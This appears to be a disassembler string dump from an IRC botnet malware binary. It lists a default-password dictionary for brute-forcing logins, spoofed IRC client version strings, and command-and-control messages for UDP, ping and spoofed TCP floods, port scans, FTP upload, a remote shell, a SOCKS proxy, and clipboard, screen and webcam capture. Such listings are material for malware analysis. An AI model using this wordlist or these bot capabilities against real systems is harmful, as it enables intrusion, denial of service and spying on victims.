.text:004300D4o align 4 aLee db 'lee',0 ; DATA XREF: .text:004300D0o aBrian db 'brian',0 ; DATA XREF: .text:004300CCo align 10h aSusan db 'susan',0 ; DATA XREF: .text:004300C4o align 4 aSue db 'sue',0 ; DATA XREF: .text:004300C0o aSam db 'sam',0 ; DATA XREF: .text:004300BCo aLuke db 'luke',0 ; DATA XREF: .text:004300B8o align 4 aPeter db 'peter',0 ; DATA XREF: .text:004300B4o ; .text:004300C8o align 10h aJohn db 'john',0 ; DATA XREF: .text:004300B0o align 4 aMike db 'mike',0 ; DATA XREF: .text:004300ACo align 10h aBill db 'bill',0 ; DATA XREF: .text:004300A8o align 4 aFred db 'fred',0 ; DATA XREF: .text:004300A4o align 10h aJoe db 'joe',0 ; DATA XREF: .text:004300A0o aJen db 'jen',0 ; DATA XREF: .text:0043009Co aBob db 'bob',0 ; DATA XREF: .text:00430098o ; .text:004300ECo aQwe db 'qwe',0 ; DATA XREF: .text:00430094o aZxc db 'zxc',0 ; DATA XREF: .text:00430090o aAsd db 'asd',0 ; DATA XREF: .text:0043008Co aQaz db 'qaz',0 ; DATA XREF: .text:00430088o aWin2000 db 'win2000',0 ; DATA XREF: .text:00430084o aWinnt db 'winnt',0 ; DATA XREF: .text:00430080o align 4 aWinxp db 'winxp',0 ; DATA XREF: .text:0043007Co align 4 aWin2k db 'win2k',0 ; DATA XREF: .text:00430078o align 4 aWin98 db 'win98',0 ; DATA XREF: .text:00430074o align 4 aWindows db 'windows',0 ; DATA XREF: .text:00430070o aOeminstall db 'oeminstall',0 ; DATA XREF: .text:0043006Co align 4 aOemuser db 'oemuser',0 ; DATA XREF: .text:00430068o aOem db 'oem',0 ; DATA XREF: .text:00430064o aUser db 'user',0 ; DATA XREF: sub_409848+2029o ; .text:00430060o align 4 aHomeuser db 'homeuser',0 ; DATA XREF: .text:off_43005Co align 4 aHome db 'home',0 ; DATA XREF: .text:00430058o align 10h aAccounting db 'accounting',0 ; DATA XREF: .text:00430054o align 4 aAccounts db 'accounts',0 ; DATA XREF: .text:00430050o align 4 aInternet db 'internet',0 ; DATA XREF: .text:0043004Co ; .text:004301A8o align 4 aWww db 'www',0 ; DATA XREF: .text:00430048o aWeb db 'web',0 ; DATA XREF: .text:00430044o aOutlook db 'outlook',0 ; DATA XREF: .text:00430040o aMail db 'mail',0 ; DATA XREF: .text:0043003Co align 4 aQwerty db 'qwerty',0 ; DATA XREF: .text:00430038o align 4 aNull_0 db 'null',0 ; DATA XREF: .text:00430034o align 4 aServer db 'server',0 ; DATA XREF: sub_409848+19E9o ; .text:0043002Co align 4 aSystem db 'system',0 ; DATA XREF: .text:00430028o align 4 aChangeme db 'changeme',0 ; DATA XREF: .text:00430020o align 4 aLinux db 'linux',0 ; DATA XREF: .text:0043001Co align 10h aUnix db 'unix',0 ; DATA XREF: .text:00430018o align 4 aDemo db 'demo',0 ; DATA XREF: .text:00430014o align 10h aNone db 'none',0 ; DATA XREF: .text:00430010o align 4 aTest db 'test',0 ; DATA XREF: .text:00430008o align 10h a2004 db '2004',0 ; DATA XREF: .text:00430004o align 4 a2003 db '2003',0 ; DATA XREF: sub_412B6A+98o ; .text:00430000o align 10h a2002 db '2002',0 ; DATA XREF: .text:0042FFFCo align 4 a2001 db '2001',0 ; DATA XREF: .text:0042FFF8o align 10h a2000 db '2000',0 ; DATA XREF: .text:0042FFF4o align 4 a1234567890 db '1234567890',0 ; DATA XREF: .text:0042FFF0o align 4 a123456789 db '123456789',0 ; DATA XREF: .text:0042FFECo align 10h a12345678 db '12345678',0 ; DATA XREF: .text:0042FFE8o align 4 a1234567 db '1234567',0 ; DATA XREF: .text:0042FFE4o a123456 db '123456',0 ; DATA XREF: .text:0042FFE0o align 4 a12345 db '12345',0 ; DATA XREF: .text:0042FFDCo align 4 a1234 db '1234',0 ; DATA XREF: .text:0042FFD8o align 4 a123 db '123',0 ; DATA XREF: .text:0042FFD4o a12 db '12',0 ; DATA XREF: .text:0042FFD0o align 4 a1: ; DATA XREF: .text:0042FFCCo unicode 0, <1>,0 a007 db '007',0 ; DATA XREF: .text:0042FFC8o aPwd db 'pwd',0 ; DATA XREF: .text:0042FFC4o aPass_0 db 'pass',0 ; DATA XREF: .text:0042FFC0o align 4 aPass1234 db 'pass1234',0 ; DATA XREF: .text:0042FFBCo align 4 aPasswd db 'passwd',0 ; DATA XREF: .text:0042FFB8o align 4 aPassword db 'password',0 ; DATA XREF: .text:0042FFB4o align 4 aPassword1 db 'password1',0 ; DATA XREF: .text:0042FFB0o align 4 aAdm db 'adm',0 ; DATA XREF: .text:0042FFACo aDb2 db 'db2',0 ; DATA XREF: .text:0042FF88o ; .text:00430154o aOracle db 'oracle',0 ; DATA XREF: .text:0042FF84o ; .text:0043016Co align 4 aDba db 'dba',0 ; DATA XREF: .text:0042FF80o aDatabase db 'database',0 ; DATA XREF: .text:0042FF7Co ; .text:00430134o align 4 aDefault db 'default',0 ; DATA XREF: .text:0042FF78o ; .text:00430024o aGuest_0 db 'guest',0 ; DATA XREF: .text:0042FF74o ; .text:0043000Co align 4 aWwwadmin db 'wwwadmin',0 ; DATA XREF: .text:0042FF70o align 10h aTeacher db 'teacher',0 ; DATA XREF: .text:0042FF6Co ; .text:004301B4o aStudent db 'student',0 ; DATA XREF: .text:0042FF68o ; .text:004301B0o aOwner db 'owner',0 ; DATA XREF: .text:0042FF64o align 4 aComputer db 'computer',0 ; DATA XREF: .text:0042FF60o align 4 aRoot db 'root',0 ; DATA XREF: .text:0042FF5Co ; .text:00430030o align 4 aStaff db 'staff',0 ; DATA XREF: .text:0042FF58o ; .text:004301B8o align 4 aAdmin db 'admin',0 ; DATA XREF: .text:0042FF54o ; .text:0042FFA8o align 4 aAdmins db 'admins',0 ; DATA XREF: .text:0042FF50o ; .text:0042FFA4o align 4 aAdministrat db 'administrat',0 ; DATA XREF: .text:0042FF4Co ; .text:0042FFA0o aAdministrateur db 'administrateur',0 ; DATA XREF: .text:0042FF48o ; .text:0042FF9Co align 10h aAdministrador db 'administrador',0 ; DATA XREF: .text:0042FF44o ; .text:0042FF98o align 10h aAdministrato_0 db 'administrator',0 ; DATA XREF: .text:off_42FF40o ; .text:0042FF94o align 10h aJpilotIrcJavaC db 'JPilot IRC Java Client 2.32',0 ; DATA XREF: .text:0042FE7Co aEggdrop1_3_24i db 'Eggdrop 1.3.24i (c)1997 Robey Pointer',0 ; DATA XREF: .text:0042FE78o align 4 aIrcle3_0b10UsP db 'Ircle 3.0b10 US PPC 12/15/1997 21:07:34 PM. #239C23AF21B',0 ; DATA XREF: .text:0042FE74o align 10h aQuarterdeckGlo db 'Quarterdeck Global Chat 1.2.9 for Macintosh',0 ; DATA XREF: .text:0042FE70o align 10h aAmircAmigaos2_ db 'AmIRC/AmigaOS 2.0.4 by Oliver Wagner <owagner@vapor.com> : http:/' ; DATA XREF: .text:0042FE6Co db '/www.vapor.com/ : [#0000D63F] : The slow mess client',0 align 4 aXirconB4Doot_3 db 'xircon[b4] + doot.3b[pawt] be-two + anony(v1) + aolsay(impulse) +' ; DATA XREF: .text:0042FE68o db ' deepthought + saq(dbg)',0 align 8 aOsiris1cBitchx db 'osiris-1c/bitchx-75p1 + autobot(bx) p3x3 : that time then and onc' ; DATA XREF: .text:0042FE64o db 'e again..',0 align 8 aIrcn7_0rc_67_0 db 'ircN 7.0rc.6 + 7.0rc.5 + 7.0rc.4 for mIRC - the devils of truth s' ; DATA XREF: .text:0042FE60o db 'teal the souls of the free -',0 align 4 aIrcn6_03ForMir db 'ircN 6.03 for mIRC - are we being punished for fate -',0 ; DATA XREF: .text:0042FE5Co align 10h aWsirc2_03RCopy db 'WSIRC 2.03-R - CopyRight 1994, 1995 Caesar M Samsi csamsi@clark.n' ; DATA XREF: .text:0042FE58o db 'et TEXT CHANNEL',0 align 8 aHydraircV0_3_1 db 'HydraIRC v0.3.133-Test (14/March/2004) by Dominic Clifton aka Hyd' ; DATA XREF: .text:0042FE54o db 'ra - #HydraIRC on EFNet',0 align 4 aCBasedIrcClien db 'C++ based IRC Client by Jumpincow/shaxxxa/mo00',0 ; DATA XREF: .text:0042FE50o align 8 aStormbot_tcl3_ db 'StormBot.TCL 3.1.beta.2.10 by Xone & Domino (coders@stormbot.org)' ; DATA XREF: .text:0042FE4Co db 0 align 4 aEggdropV1_6_13 db 'eggdrop v1.6.13',0 ; DATA XREF: .text:0042FE48o aEggdropV1_6_15 db 'eggdrop v1.6.15',0 ; DATA XREF: .text:0042FE44o aMirc32V1_0K_ma db 'mIRC32 v1.0 K .Mardam-Bey',0 ; DATA XREF: .text:0042FE40o align 4 aMircV6_14K_mar db 'mIRC v6.14 K.Mardam-Bey',0 ; DATA XREF: .text:0042FE3Co aMircV6_12K_mar db 'mIRC v6.12 K.Mardam-Bey',0 ; DATA XREF: .text:0042FE38o aMircV6_10K_mar db 'mIRC v6.10 K.Mardam-Bey',0 ; DATA XREF: .text:0042FE34o aMircV6_1K_mard db 'mIRC v6.1 K.Mardam-Bey',0 ; DATA XREF: .text:0042FE28o align 4 aMircV6_03K_mar db 'mIRC v6.03 K.Mardam-Bey',0 ; DATA XREF: .text:0042FE24o ; .text:0042FE30o aMircV6_01K_mar db 'mIRC v6.01 K.Mardam-Bey',0 ; DATA XREF: .text:0042FE20o ; .text:0042FE2Co aMircV5_82K_mar db 'mIRC v5.82 K.Mardam-Bey',0 ; DATA XREF: .text:0042FE1Co aMircV5_71K_mar db 'mIRC v5.71 K.Mardam-Bey',0 ; DATA XREF: .text:0042FE18o aMirc32V6_12K_m db 'mIRC32 v6.12 K.Mardam-Bey',0 ; DATA XREF: .text:0042FE14o align 4 aMirc32V6_03K_m db 'mIRC32 v6.03 K.Mardam-Bey',0 ; DATA XREF: .text:0042FE10o align 10h aMirc32V6_01K_m db 'mIRC32 v6.01 K.Mardam-Bey',0 ; DATA XREF: .text:0042FE0Co align 4 aMirc32V5_82K_m db 'mIRC32 v5.82 K.Mardam-Bey',0 ; DATA XREF: .text:0042FE08o align 4 aMirc32V5_71K_m db 'mIRC32 v5.71 K.Mardam-Bey',0 ; DATA XREF: .text:0042FE04o align 4 aIrssiV0_8_4Run db 'irssi v0.8.4 - running on Linux i686',0 ; DATA XREF: .text:0042FE00o align 4 aIrcn7_277_0Eve db 'ircN 7.27 + 7.0 - everyone i know goes away in the end -',0 ; DATA XREF: .text:0042FDFCo align 4 aXchat1_8_10Lin db 'xchat 1.8.10 Linux 2.4.25p1mp [i686/501MHz]',0 ; DATA XREF: .text:0042FDF8o aIrcii2_9_baseO db 'ircII 2.9_base OSF1 V4.0 :ircii 2.8: almost there...',0 ; DATA XREF: .text:0042FDF4o align 4 aIrcii2_8_2Suno db 'ircII 2.8.2 SunOS 5.6 :ircii 2.8: almost there...',0 ; DATA XREF: .text:0042FDF0o align 10h aIrcii2_9Bitchx db 'ircII 2.9-BitchX-60 Linux 1.2.8 :bitZ%summer ',27h,'96(bitX%summer',27h ; DATA XREF: .text:0042FDECo db '96)',0 align 8 aIrciiEpic4pre2 db 'ircII EPIC4pre2 SunOS 5.6 - cypher(beta\one) -myd!nas :one step c' ; DATA XREF: .text:0042FDE8o db 'loser to world domination',0 align 4 aIrciiEpic4pr_0 db 'ircII EPIC4pre2 Linux 2.0.34 - Accept no limitations.',0 ; DATA XREF: .text:0042FDE4o align 10h aBx_75p1Linux2_ db '[bx.75p1] linux 2.0.36 [embryonic.22b3] :what is this that stands' ; DATA XREF: .text:0042FDE0o db ' before me',0 align 10h aBitchx1_0c18By db 'BitchX-1.0c18+ by panasync - IRIX 6.5.10 Silicon Graphics : Keep ' ; DATA XREF: .text:0042FDDCo db 'it to yourself!',0 align 8 aBitchx74p21_3f db 'BitchX-74p2+1.3f/SunOS 5.6 :(c)rackrock/bX [3.0.18] : Keep it to' ; DATA XREF: .text:0042FDD8o db ' yourself!',0 align 8 aBitchx1_0c19By db 'BitchX-1.0c19+ by panasync - FreeBSD 4.10-BETA : Keep it to yours' ; DATA XREF: .text:0042FDD4o db 'elf!',0 align 10h aBitchx70alpha1 db 'BitchX-70alpha14+tcl by panasync - Linux 2.0.27 Keep it to yours' ; DATA XREF: .text:0042FDD0o db 'elf!',0 align 4 a__Argon1gBitch db '..(argon/1g) :bitchx-75 : Keep it to yourself!',0 ; DATA XREF: .text:0042FDCCo align 4 aBitchx74p2ByPa db 'BitchX-74p2+ by panasync - CYGWIN32/95 4.0 : Keep it to yourself!' ; DATA XREF: .text:0042FDC8o db 0 align 4 aMircV6_03Khale db 'mIRC v6.03 Khaled Mardam-Bey',0 ; DATA XREF: .text:0042FDC4o align 4 aMircV6_12Khale db 'mIRC v6.12 Khaled Mardam-Bey',0 ; DATA XREF: .text:off_42FDC0o align 4 a@celestial_org db '*@celestial.org',0 ; DATA XREF: .text:off_42FDB8o asc_4285BC: ; DATA XREF: sub_40946D+129o ; sub_40946D+1ADo unicode 0, <|>,0 asc_4285C0 db ' :',0 ; DATA XREF: sub_40946D:loc_40954Do ; sub_409848+7Do ... align 4 aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_40946D+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 10h aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_40946D+38o align 4 aMainConnectedT db '[MAIN]: Connected to %s.',0 ; DATA XREF: sub_4096E9+9Fo align 4 aModeSS db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_409848+62D4o align 4 aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_409848+62BFo align 4 aMainUserSLog_1 db '[MAIN]: User: %s logged in.',0 ; DATA XREF: sub_409848+62ABo aMainPasswordAc db '[MAIN]: Password accepted.',0 ; DATA XREF: sub_409848+628Eo align 10h aMainFailedHost db '[MAIN]: *Failed host auth by: (%s!%s).',0 ; DATA XREF: sub_409848+6216o align 4 aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_409848+61F3o align 10h aMainFailedPass db '[MAIN]: *Failed pass auth by: (%s!%s).',0 ; DATA XREF: sub_409848+61AFo align 4 aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: sub_409848+61A0o ; sub_409848+6207o align 4 aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_409848+618Co align 4 asc_42872C: ; DATA XREF: sub_409848+613Ao unicode 0, <~>,0 dword_428730 dd 0 aMainRandomNick db '[MAIN]: Random nick change: %s',0 ; DATA XREF: sub_409848+60EAo align 4 aScanFailedTo_2 db '[SCAN]: Failed to start scan, no IP specified.',0 ; DATA XREF: sub_409848+5E9Do align 4 aStoppingPrevio db 'Stopping previous scans',0 ; DATA XREF: sub_409848+5E62o aUdpFailedToSta db '[UDP]: Failed to start flood thread, error: <%d>.',0 ; DATA XREF: sub_409848+5C3Co align 10h aUdpSendingDPac db '[UDP]: Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).' ; DATA XREF: sub_409848+5BD7o db 0 align 4 aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_409848+5B10o align 4 aPingFailedToSt db '[PING]: Failed to start flood thread, error: <%d>.',0 ; DATA XREF: sub_409848+5AE6o align 10h aPingSendingDPi db '[PING]: Sending %d pings to %s. packet size: %d, timeout: %d(ms).' ; DATA XREF: sub_409848+5A8Bo db 0 align 4 aTcpInvalidFl_0 db '[TCP]: Invalid flood time must be greater than 0.',0 ; DATA XREF: sub_409848:loc_40F20Do align 4 aTcpFailedToSta db '[TCP]: Failed to start flood thread, error: <%d>.',0 ; DATA XREF: sub_409848+59A9o align 4 aTcpSSFloodingS db '[TCP]: %s %s flooding: (%s:%s) for %s seconds.',0 ; DATA XREF: sub_409848+5943o align 4 aNormal db 'Normal',0 ; DATA XREF: sub_409848+5935o align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: sub_409848+592Eo aTcpInvalidFloo db '[TCP]: Invalid flood type specified.',0 ; DATA XREF: sub_409848+587Fo align 4 aRandom_0 db 'random',0 ; DATA XREF: sub_409848+5873o ; sub_412E87+229o align 4 aAck db 'ack',0 ; DATA XREF: sub_409848+585Fo ; sub_412E87+209o aFtpUploading_0 db '[FTP]: Uploading file: %s to: %s failed.',0 ; DATA XREF: sub_409848:loc_40EFCDo align 4 aFtpUploadingFi db '[FTP]: Uploading file: %s to: %s',0 ; DATA XREF: sub_409848+577Eo align 10h aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_409848+5767o aSS_4 db '-s:%s',0 ; DATA XREF: sub_409848+574Eo align 10h aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_409848+572Eo db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 4 aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_409848+56EAo align 4 aFtpFileNotFoun db '[FTP]: File not found: %s.',0 ; DATA XREF: sub_409848+5691o align 10h aUpload db 'upload',0 ; DATA XREF: sub_409848+566Bo align 4 aHcon db 'hcon',0 ; DATA XREF: sub_409848+564Ao align 10h aHttpcon db 'httpcon',0 ; DATA XREF: sub_409848+5636o aMainInvalidLog db '[MAIN]: Invalid login slot number: %d.',0 ; DATA XREF: sub_409848+5570o align 10h aMainNoUserLogg db '[MAIN]: No user logged in at slot: %d.',0 ; DATA XREF: sub_409848+5568o align 4 aMainS db '[MAIN]: %s',0 ; DATA XREF: sub_409848+5506o align 4 aSecureFailedTo db '[SECURE]: Failed to start secure thread, error: <%d>.',0 ; DATA XREF: sub_409848+54E2o ; sub_40FB4C+3DEo align 4 aSecureSSystem_ db '[SECURE]: %s system.',0 ; DATA XREF: sub_409848+547Eo align 4 aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_409848+5478o align 10h aSecuring db 'Securing',0 ; DATA XREF: sub_409848+5471o align 4 aSocks4FailedTo db '[SOCKS4]: Failed to start server thread, error: <%d>.',0 ; DATA XREF: sub_409848+53E3o align 4 aSocks4ServerSt db '[SOCKS4]: Server started on: %s:%d.',0 ; DATA XREF: sub_409848+538Ao ; sub_41248E+A1o aFindfile_0 db '[FINDFILE]',0 ; DATA XREF: sub_409848+52BCo align 4 aFindFile db 'Find file',0 ; DATA XREF: sub_409848+52B7o align 10h aProc db '[PROC]',0 ; DATA XREF: sub_409848+52A7o align 4 aProcessList db 'Process list',0 ; DATA XREF: sub_409848+52A2o align 4 aMainReconnecti db '[MAIN]: Reconnecting.',0 ; DATA XREF: sub_409848+526Co align 10h aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_409848:loc_40EAA7o align 4 aMainDisconnect db '[MAIN]: Disconnecting.',0 ; DATA XREF: sub_409848+524Ao align 10h aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_409848:loc_40EA85o align 4 aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_409848+5214o align 4 aMainStatusRead db '[MAIN]: Status: Ready. Bot Uptime: %s.',0 ; DATA XREF: sub_409848+51C6o align 4 aMainBotIdS_ db '[MAIN]: Bot ID: %s.',0 ; DATA XREF: sub_409848+5187o aThreadsFaile_0 db '[THREADS]: Failed to start list thread, error: <%d>.',0 ; DATA XREF: sub_409848+515Do align 4 aThreadsListThr db '[THREADS]: List threads.',0 ; DATA XREF: sub_409848+5102o align 4 aSub db 'sub',0 ; DATA XREF: sub_409848+50E0o aMainAliasList_ db '[MAIN]: Alias list.',0 ; DATA XREF: sub_409848+508Ao aLogFailedToSta db '[LOG]: Failed to start listing thread, error: <%d>.',0 ; DATA XREF: sub_409848+505Ao aLogListingLog_ db '[LOG]: Listing log.',0 ; DATA XREF: sub_409848+4FFFo aMainNetworkInf db '[MAIN]: Network Info.',0 ; DATA XREF: sub_409848+4F58o align 4 aMainSystemInfo db '[MAIN]: System Info.',0 ; DATA XREF: sub_409848+4F28o align 4 aMainRemovingBo db '[MAIN]: Removing Bot.',0 ; DATA XREF: sub_409848+4ED4o align 4 aProcsFailedToS db '[PROCS]: Failed to start listing thread, error: <%d>.',0 ; DATA XREF: sub_409848+4E5Eo align 4 aProcsProccessL db '[PROCS]: Proccess list.',0 ; DATA XREF: sub_409848+4DFDo aFull db 'full',0 ; DATA XREF: sub_409848+4DE1o align 4 aProcAlreadyRun db '[PROC]: Already running.',0 ; DATA XREF: sub_409848+4D7Bo align 10h aMainUptimeS_ db '[MAIN]: Uptime: %s.',0 ; DATA XREF: sub_409848+4D27o aCmdRemoteShe_0 db '[CMD]: Remote shell ready.',0 ; DATA XREF: sub_409848:loc_40E4E1o align 10h aCmdCouldnTOpen db '[CMD]: Couldn',27h,'t open remote shell.',0 ; DATA XREF: sub_409848+4C8Fo align 4 aCmdRemoteShell db '[CMD]: Remote shell already running.',0 ; DATA XREF: sub_409848+4C70o align 4 aMainGetClipboa db '[MAIN]: Get Clipboard.',0 ; DATA XREF: sub_409848+4C5Ao align 4 aClipboardData db '-[Clipboard Data]-',0 ; DATA XREF: sub_409848+4C2Bo align 4 aFlushdnsFail_1 db '[FLUSHDNS]: Failed to flush ARP cache.',0 ; DATA XREF: sub_409848:loc_40E461o align 10h aFlushdnsArpC_0 db '[FLUSHDNS]: ARP cache flushed.',0 ; DATA XREF: sub_409848+4C04o align 10h aFlushdnsFail_0 db '[FLUSHDNS]: Failed to load dnsapi.dll.',0 ; DATA XREF: sub_409848:loc_40E430o align 4 aFlushdnsFailed db '[FLUSHDNS]: Failed to flush DNS cache.',0 ; DATA XREF: sub_409848:loc_40E429o align 10h aFlushdnsDnsCac db '[FLUSHDNS]: DNS cache flushed.',0 ; DATA XREF: sub_409848+4BDAo align 10h aRlogindFailedT db '[RLOGIND]: Failed to start server thread, error: <%d>.',0 ; DATA XREF: sub_409848+4B6Co align 4 aRlogindServerL db '[RLOGIND]: Server listening on IP: %s:%d, Username: %s.',0 ; DATA XREF: sub_409848+4B13o aHttpdFailedT_1 db '[HTTPD]: Failed to start server thread, error: <%d>.',0 ; DATA XREF: sub_409848+4A33o align 4 aTftpFailedTo_0 db '[TFTP]: Failed to start server thread, error: <%d>.',0 ; DATA XREF: sub_409848+48A9o aTftpAlreadyRun db '[TFTP]: Already running.',0 ; DATA XREF: sub_409848+478Co align 4 aFindpassFail_0 db '[FINDPASS]: Failed to start search thread, error: <%d>.',0 ; DATA XREF: sub_409848+475Eo aFindpassSearch db '[FINDPASS]: Searching for password.',0 ; DATA XREF: sub_409848+46FBo aScanFailedTo_1 db '[SCAN]: Failed to start scan, port is invalid.',0 ; DATA XREF: sub_409848+46C0o ; sub_409848+5DCCo align 8 aScanSPortScanS db '[SCAN]: %s Port Scan started on %s:%d with a delay of %d seconds ' ; DATA XREF: sub_409848+45F8o ; sub_409848+6023o db 'for %d minutes using %d threads.',0 align 4 aSequential db 'Sequential',0 ; DATA XREF: sub_409848+45CDo ; sub_409848+5FF8o align 4 aRandom db 'Random',0 ; DATA XREF: sub_409848+45C6o ; sub_409848+5FF1o align 10h aScanAlreadyDSc db '[SCAN]: Already %d scanning threads. Too many specified.',0 ; DATA XREF: sub_409848+43E9o ; sub_409848+5C94o align 4 aMainNickChange db '[MAIN]: Nick changed to: ',27h,'%s',27h,'.',0 ; DATA XREF: sub_409848+4385o align 4 aMainJoinedCh_0 db '[MAIN]: Joined channel: ',27h,'%s',27h,'.',0 ; DATA XREF: sub_409848+4368o align 4 aMainPartedChan db '[MAIN]: Parted channel: ',27h,'%s',27h,'.',0 ; DATA XREF: sub_409848+4347o align 4 aMainIrcRawS_ db '[MAIN]: IRC Raw: %s.',0 ; DATA XREF: sub_409848+432Do align 4 aThreadsFailedT db '[THREADS]: Failed to kill thread: %s.',0 ; DATA XREF: sub_409848:loc_40DAFCo align 4 aThreadsKilledT db '[THREADS]: Killed thread: %s.',0 ; DATA XREF: sub_409848+42ADo align 4 aThreadsNoActiv db '[THREADS]: No active threads found.',0 ; DATA XREF: sub_409848:loc_40DAB0o aThreadsStopped db '[THREADS]: Stopped: %d thread(s).',0 ; DATA XREF: sub_409848+425Eo align 4 aAll db 'all',0 ; DATA XREF: sub_409848+4248o aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_409848+41BBo ; sub_409848:loc_40EA6Eo align 4 aMainPrefixChan db '[MAIN]: Prefix changed to: ',27h,'%c',27h,'.',0 ; DATA XREF: sub_409848+413Ao align 4 aShellCouldnTOp db '[SHELL]: Couldn',27h,'t open file: %s',0 ; DATA XREF: sub_409848:loc_40D969o aShellFileOpene db '[SHELL]: File opened: %s',0 ; DATA XREF: sub_409848+4117o align 4 aMainServerChan db '[MAIN]: Server changed to: ',27h,'%s',27h,'.',0 ; DATA XREF: sub_409848+40E2o align 4 aDnsCouldnTReso db '[DNS]: Couldn',27h,'t resolve hostname.',0 ; DATA XREF: sub_409848:loc_40D90Ao align 10h aDnsLookupSS_ db '[DNS]: Lookup: %s -> %s.',0 ; DATA XREF: sub_409848+4097o align 4 aProcFailedTo_0 db '[PROC]: Failed to terminate process: %s',0 ; DATA XREF: sub_409848:loc_40D8ABo aProcProcessK_1 db '[PROC]: Process killed: %s',0 ; DATA XREF: sub_409848+405Co align 10h aProcProcessK_0 db '[PROC]: Process killed & deleted: %s',0 ; DATA XREF: sub_409848+4014o align 4 aProcFailedToTe db '[PROC]: Failed to terminate process ID: %s',0 ; DATA XREF: sub_409848:loc_40D7FDo align 4 aProcProcessKil db '[PROC]: Process killed ID: %s',0 ; DATA XREF: sub_409848+3FAEo align 4 aFileDeletedS_0 db '[FILE]: Deleted ',27h,'%s',27h,'.',0 ; DATA XREF: sub_409848+3F63o align 4 aFileListS db '[FILE]: List: %s',0 ; DATA XREF: sub_409848+3F3Eo align 10h aVisitFailedToS db '[VISIT]: Failed to start connection thread, error: <%d>.',0 ; DATA XREF: sub_409848+3EFAo align 4 aVisitUrlS_ db '[VISIT]: URL: %s.',0 ; DATA XREF: sub_409848+3EA1o align 10h aMircCommandSen db '[mIRC]: Command sent.',0 ; DATA XREF: sub_409848:loc_40D63Co align 4 aMircClientNotO db '[mIRC]: Client not open.',0 ; DATA XREF: sub_409848+3DEDo align 4 aCmdCommandsS db '[CMD]: Commands: %s',0 ; DATA XREF: sub_409848+3DADo aCmdErrorSendin db '[CMD]: Error sending to remote shell.',0 ; DATA XREF: sub_409848+3DA5o align 10h aMainReadFileFa db '[MAIN]: Read file failed: %s',0 ; DATA XREF: sub_409848+3D57o align 10h aMainReadFileCo db '[MAIN]: Read file complete: %s',0 ; DATA XREF: sub_409848+3D41o align 10h aCaptureInval_0 db '[CAPTURE]: Invalid parameters for amateur video capture.',0 ; DATA XREF: sub_409848:loc_40D50Eo align 4 aCaptureError_1 db '[CAPTURE]: Error while capturing amateur video from webcam.',0 ; DATA XREF: sub_409848:loc_40D504o aCaptureAmateur db '[CAPTURE]: Amateur video saved to: %s.',0 ; DATA XREF: sub_409848+3CA9o align 10h aVideo db 'video',0 ; DATA XREF: sub_409848+3C1Eo align 4 aCaptureInvalid db '[CAPTURE]: Invalid parameters for webcam capture.',0 ; DATA XREF: sub_409848:loc_40D44Eo align 4 aCaptureError_0 db '[CAPTURE]: Error while capturing from webcam.',0 ; DATA XREF: sub_409848:loc_40D447o align 4 aCaptureWebcamC db '[CAPTURE]: Webcam capture saved to: %s.',0 ; DATA XREF: sub_409848+3BEFo aFrame db 'frame',0 ; DATA XREF: sub_409848+3B82o align 4 aCaptureDriverL db '[CAPTURE]: Driver list complete.',0 ; DATA XREF: sub_409848+3B70o align 10h aCaptureDriverD db '[CAPTURE]: Driver #%d - %s - %s.',0 ; DATA XREF: sub_409848+3B3Co align 4 aDrivers db 'drivers',0 ; DATA XREF: sub_409848+3AF5o aCaptureNoFilen db '[CAPTURE]: No filename specified for screen capture.',0 ; DATA XREF: sub_409848:loc_40D325o align 4 aCaptureErrorWh db '[CAPTURE]: Error while capturing screen.',0 ; DATA XREF: sub_409848:loc_40D31Eo align 10h aCaptureScreenC db '[CAPTURE]: Screen capture saved to: %s.',0 ; DATA XREF: sub_409848+3AC6o aScreen db 'screen',0 ; DATA XREF: sub_409848+3A9Co align 10h aMainGethostS_ db '[MAIN]: Gethost: %s.',0 ; DATA XREF: sub_409848+3A7Fo align 4 aMainUnableToEx db '[MAIN]: Unable to extract Gethost command.',0 ; DATA XREF: sub_409848:loc_40D283o align 4 aMainGethostSCo db '[MAIN]: Gethost: %s, Command: %s',0 ; DATA XREF: sub_409848+3A25o align 4 aMainAliasAdded db '[MAIN]: Alias added: %s.',0 ; DATA XREF: sub_409848+3970o align 4 aMainPrivmsgSS_ db '[MAIN]: Privmsg: %s: %s.',0 ; DATA XREF: sub_409848+392Do align 10h aMainActionSS_ db '[MAIN]: Action: %s: %s.',0 ; DATA XREF: sub_409848+38C2o aMainCycle_ db '[MAIN]: Cycle.',0 ; DATA XREF: sub_409848+3842o align 4 aPartS db 'PART %s',0Dh,0Ah,0 ; DATA XREF: sub_409848+3806o ; sub_409848+4337o align 4 aMainModeChange db '[MAIN]: Mode change: %s',0 ; DATA XREF: sub_409848+37E1o aModeS_0 db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_409848+37D3o align 4 aCloneRawSS db '[CLONE]: Raw (%s): %s',0 ; DATA XREF: sub_409848+37A7o align 10h aCloneModeSS db '[CLONE]: Mode (%s): %s',0 ; DATA XREF: sub_409848+3738o align 4 aModeS db 'MODE %s',0 ; DATA XREF: sub_409848+36E0o aCloneNickSS db '[CLONE]: Nick (%s): %s',0 